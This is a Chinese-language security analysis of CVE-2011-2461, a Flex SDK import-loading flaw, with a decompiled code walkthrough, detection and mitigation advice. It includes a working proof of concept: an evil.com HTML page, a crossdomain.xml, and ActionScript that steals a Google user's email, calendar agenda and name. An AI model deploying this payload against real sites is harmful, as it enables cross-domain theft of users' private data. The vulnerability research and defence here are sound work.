從CVE編號就可以看出這個漏洞已經有一些年頭了 (1)。 由于這個漏洞發生在Flex SDK里,而非Flash Player上。所以對于開發者而言,只要他們使用了具有該缺陷的Flex SDK來編譯FLASH,那么其所生成的FLASH文件也會相應的存在缺陷。一方面,開發者可能并不會及時更新自己的Flex開發工具,這會在之后的開發中繼續發布新的具有缺陷的FLASH文件;另一方面,即使開發者更新了自己的開發工具,但是其之前所開發的FLASH文件依然處于缺陷狀態。
正因如此,時至今日,網上依然存在諸多具有缺陷的FLASH文件。根據《THE OLD IS NEW, AGAIN. CVE-2011-2461 IS BACK!》中的統計數據(2),連Alexa排名前10的站點也躺槍了。這不,隨后(2015-3-30)他們又發表了一篇名為《Exploiting CVE-2011-2461 on google.com》的博文來證明CVE-2011-2461的影響 (3_。那么一起來看看CVE-2011-2461到底是個什么情況吧~~
采用Flex開發的WEB應用在文件體積上有時候會比較大,這會導致用戶等待一個比較長的下載時間,體驗實在不是很好。因此,Flex通常會使用在運行時加載“某些東西”來緩解這個問題。“某些東西”包括:運行時共享庫(Runtime Shared Libraries, RSLs)(4) 以及資源模塊(Resource Modules)(5)。前者(RSLs)主要用于將一些通用及經常被用到的組件或類在第一次加載后緩存到本地,避免后續每次都需要從網絡上加載這些內容;而后者則與軟件本土化(localization)有關。要讓Flex開發的Web應用支持多種語言展現,一種方式是把應用及語言文件全部打包到一個FLASH中,這樣會產生的FLASH文件會體積較大;另一種方式則是單獨將語言文件編譯成獨立的SWF,然后讓應用去動態加載這些SWF文件(這些被動態加載的獨立SWF就被稱為Resource Module (2))。采用這種方式會讓應用的主文件體積有所縮減,加快了加載速度,但正是這樣一個動態加載的機制上出現了本文所述的漏洞。
對于資源模塊,Flex支持兩種方式來進行動態加載。一種是應用程序初始化時,先調用用resourceManager.loadResourceModule() 方法,再設置resourceManager.localeChain屬性的方式;而另一種是直接在HTML里通過設置flashvars的值來實現 (5)。通常代碼如下:
#!html
<param name='flashVars' value='resourceModuleURLs=es_ES_ResourceModule.swf&localeChain=es_ES'/>
接下來,我們通過查看Flex編譯出的Flash文件的源代碼,來看看資源模塊到底是如何被加載,漏洞發生在何處。
定位到該類下的initialize函數
#!javascript
….
//從flashvars里取出resourceModuleURLs參數,賦值給resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//將resourceModuleURLList按 , 號分割為resourceModuleURLs數組
var resourceModuleURLs:Array = (resourceModuleURLList) ?
….
//從flashvars里取出resourceModuleURLs參數,賦值給resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//將resourceModuleURLList按 , 號分割為resourceModuleURLs數組
var resourceModuleURLs:Array = (resourceModuleURLList) ? resourceModuleURLList.split(",") : null;
//最終resourceModuleURLs進入了preloader的initialize函數
preloader.initialize(usePreloader, preloaderDisplayClass, preloaderBackgroundColor, preloaderBackgroundAlpha, preloaderBackgroundImage, preloaderBackgroundSize, (isStageRoot) ? stage.stageWidth : loaderInfo.width, (isStageRoot) ? stage.stageHeight : loaderInfo.height, null, null, rslList, resourceModuleURLs);
定位到該類下的initialize函數,
#!javascript
//如果傳入的resourceModuleURLs有內容
if (((resourceModuleURLs) && ((resourceModuleURLs.length > 0)))){
n = resourceModuleURLs.length;
i = 0;
//循環對每一個Resource Module進行處理
while (i < n) {
//最終模塊的URL進入了ResourceModuleRSLItem類
resourceModuleNode = new ResourceModuleRSLItem(resourceModuleURLs[i]);
//每個resourceModuleNode被追加到rslList中
rslList.push(resourceModuleNode);
i++;
};
};
// rslList 被傳入RSLListLoader中
rslListLoader = new RSLListLoader(rslList);
…
//隨后調用rslListLoader的load方法
rslListLoader.load(mx_internal::rslProgressHandler, mx_internal::rslCompleteHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler);
…
首先看該函數的構造函數,
#!javascript
public function RSLListLoader(rslList:Array){
rslList = [];
super();
//rslList被傳遞給當前類的rslList屬性
this.rslList = rslList;
}
接著看看上一步里調用的rslListLoader.load函數
#!javascript
public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
…
//load函數調用loadNext函數
loadNext();
}
繼續跟loadNext,
#!javascript
private function loadNext():void{
if (!isDone()){
currentIndex++;
if (currentIndex < rslList.length){
rslList[currentIndex].load(chainedProgressHandler, listCompleteHandler, listIOErrorHandler, listSecurityErrorHandler, chainedRSLErrorHandler);
};
};
}
可以看出,實際上就是循環調用rslList里每一個元素(ResourceModuleRSLItem)的load方法。
那么我們接著看該類的load方法,
#!javascript
override public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
...
//創建一個資源管理器
var resourceManager:IResourceManager = ResourceManager.getInstance();
//調用資源管理器的loadResourceModule
var eventDispatcher:IEventDispatcher = resourceManager.loadResourceModule(url);
...
}
其實轉了一大圈,最后可以看到,通過設置flashvars的方式實際上最終也是通過調用resourceManager.loadResourceModule來實現的。
loadResourceModule里繼續看到url參數進入到了ModuleManager.getModule中,
#!javascript
public function loadResourceModule(url:String, updateFlag:Boolean=true, applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null):IEventDispatcher{
...
moduleInfo = ModuleManager.getModule(url);
...
//得到moduleInfo后,最終會調用moduleInfo的load方法
moduleInfo.load(applicationDomain, securityDomain);
}
#!javascript
public function getModule(url:String):IModuleInfo{
var info:ModuleInfo = (moduleList[url] as ModuleInfo);
//如果info不存在,則以url為參數創建一個新的ModuleInfo實例
if (!info){
info = new ModuleInfo(url);
moduleList[url] = info;
};
//最終返回ModuleInfoProxy類的實例
return (new ModuleInfoProxy(info));
}
#!javascript
public function ModuleInfoProxy(info:ModuleInfo){
super();
//ModuleInfo的實例被存入ModuleInfoProxy的info屬性里
this.info = info;
…
}
根據前面可知,將會調用ModuleInfoProxy的load方法
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
...
//實際上最終調用的是info的load方法,即調用ModuleInfo實例的load方法
info.load(applicationDomain, securityDomain, bytes);
...
}
最終我們就能看到(2)中PPT里提到的代碼部分,
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
…
var r:URLRequest = new URLRequest(_url);
//創建一個LoaderContext -> c
var c:LoaderContext = new LoaderContext();
c.applicationDomain = (applicationDomain) ? applicationDomain : new ApplicationDomain(ApplicationDomain.currentDomain);
c.securityDomain = securityDomain;
//設置LoaderContext的securityDomain 到SecurityDomain.currentDomain
if ((((securityDomain == null)) && ((Security.sandboxType == Security.REMOTE)))){
c.securityDomain = SecurityDomain.currentDomain;
};
loader = new Loader();
….
//最終以當前的安全域加載外部模塊
loader.load(r, c);
}
以上就是整個代碼流程,問題就發生在c.securityDomain = SecurityDomain.currentDomain; 這一句代碼上。在Adobe官方手冊對于securityDomain的解釋上(6),可以看到這樣一段描述(非直譯): “同域情況下,即當1.com的FLASH A文件加載1.com下的FLASH B文件,B文件與A文件具有相同的安全域;而跨域情況下,即當1.com的FLASH A文件加載2.com下的FLASH B文件時,則會有兩種選擇:一種是默認情況下加載,此時B文件具有與A文件不同的安全域,換言之,兩者是隔離的;另一種方法則是通過特定的函數調用或者特定屬性的設置讓被加載的B文件具有和A相同的安全域,這種加載方式被稱為“導入式加載(import loading)”。 導入式加載通常有兩種方法:一種是通過Loader的loadBytes函數。在context為默認值時,loadBytes將會把內容導入到當前的安全域內。其函數形式如下:
#!javascript
loadBytes(bytes:ByteArray, context:LoaderContext = null):void
另一種方法則是通過設置LoaderContext的securityDomain,然后再load,典型代碼如下:
#!javascript
loaderContext.securityDomain = SecurityDomain.currentDomain;
loader.load(urlReq,loaderContext);
可以看出,cve-2011-2461 就是采用了第二種方式來進行了導入式加載。最終就會導致如下圖所示的問題,可以看到我們在“黑客.com”的Flash B里編寫惡意代碼,將會被導入式加載“融入”到“目標.com”的Flash A里,從而可以讀取“目標.com”下的內容。
其實,知道上面的原理后,再來看google這個案例就不難理解了。首先是https://www.google.com/wonderwheel/wonderwheel7.swf
存在本文所說的問題,那么我們可以構造出以下代碼
#!html
(http://evil.com/poc/test.html):
? <i>Victim's agenda:</i>
? <textarea id="x" style="width: 100%; height:50%"></textarea>?
<object width="100%" height="100%"? type="application/x-shockwave-flash"? data="https://www.google.com/wonderwheel/wonderwheel7.swf">?
<param name="allowscriptaccess" value="always">
? <param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">? </object>
上面這個代碼,使得https://www.google.com/wonderwheel/wonderwheel7.swf將會以“導入式加載”的方式將http://evil.com/poc/URLr_google.swf“融入”進來,即URLr_google.swf具有與wonderwheel7.swf相同的安全域。當然要記得在evil.com根目錄下放置一個crossdomain.xml允許wonderwheel7.swf來加載它,像這樣。
#!html
<?xml version="1.0"?>? <cross-domain-policy>? <allow-access-from domain="www.google.com" />? </cross-domain-policy>
URLr_google.swf的AS代碼如下(有點長,其實不是很想粘貼上來了。。),反正大概就是獲取一些可以獲取的敏感信息(非重點,不多說)。?
#!javascript
package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events. * ;
import flash.net. * ;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static
var app: URLr_google;
private static
var email: String;
public
function main() : void {
app = new URLr_google();
}
public
function URLr_google() {
var url: String = "https://www.google.com/?gws_rd=cr";
var loader: URLLoader = new URLLoader();
configureListeners(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListeners(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private
function pingCalendar() : void {
var url: String = "https://www.google.com/calendar/";
var loader: URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersCalendar(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private
function getAgenda() : void {
var url: String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader: URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersAgenda(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private
function completeHandler(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var s: String = loader.data;
var pattern: RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results: Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private
function completeHandlerCalendar(event: Event) : void {
getAgenda();
}
private
function completeHandlerAgenda(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var res: String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern: RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results: Array = unescape(res).match(pattern);
if (results.length > 0) {
var name: String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}
總之吧,原理如下圖所示,個人覺得原博文中圖太丑,自己重新畫了一個,雖然也不是很好看。。:
這里我也給出一個具有缺陷的flash文件,以便分析https://appmaker.sinaapp.com/cve-2011-2461.htm。
檢測該漏洞,實際上可以通過反編譯FLASH來查看相關缺陷代碼是否存在,原博文的作者給出了檢測工具ParrotNG(java編寫,基于swfdump)來識別有漏洞的SWF文件,可以在命令行在使用這個工具,也可以通過burp插件的機制來使用這個工具。
對于這個漏洞,修復與防御措施可能有如下幾點:
更新開發工具
對于采用老版本SDK編譯產生的swf文件,可以使用新版本的開發工具重新編譯一下,或者采用修復工具對swf進行補丁(https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html)。當然,如果文件已經很古老,直接暴力的刪掉就好了。
將swf等存在安全風險的靜態資源文件放置到獨立的域名下,可最大程度避免此類問題。
開發者在編寫相關代碼時,應該盡量避免使用“導入式加載”;在使用Loader類時,應該對加載的URL進行合法性判斷。
原文:“There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website's owners.”,
中文:“說不定還有很多站有這個問題,找到了趕緊報烏云!!”
讀者:“欺負我看不懂英文!!”
[1) https://www.adobe.com/support/security/bulletins/apsb11-25.html
[2) http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html
[3) http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html
[4) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf674ba-7fff.html
[5) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7f3c.html#WS2db454920e96a9e51e63e3d11c0bf6119c-8000
[6) http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html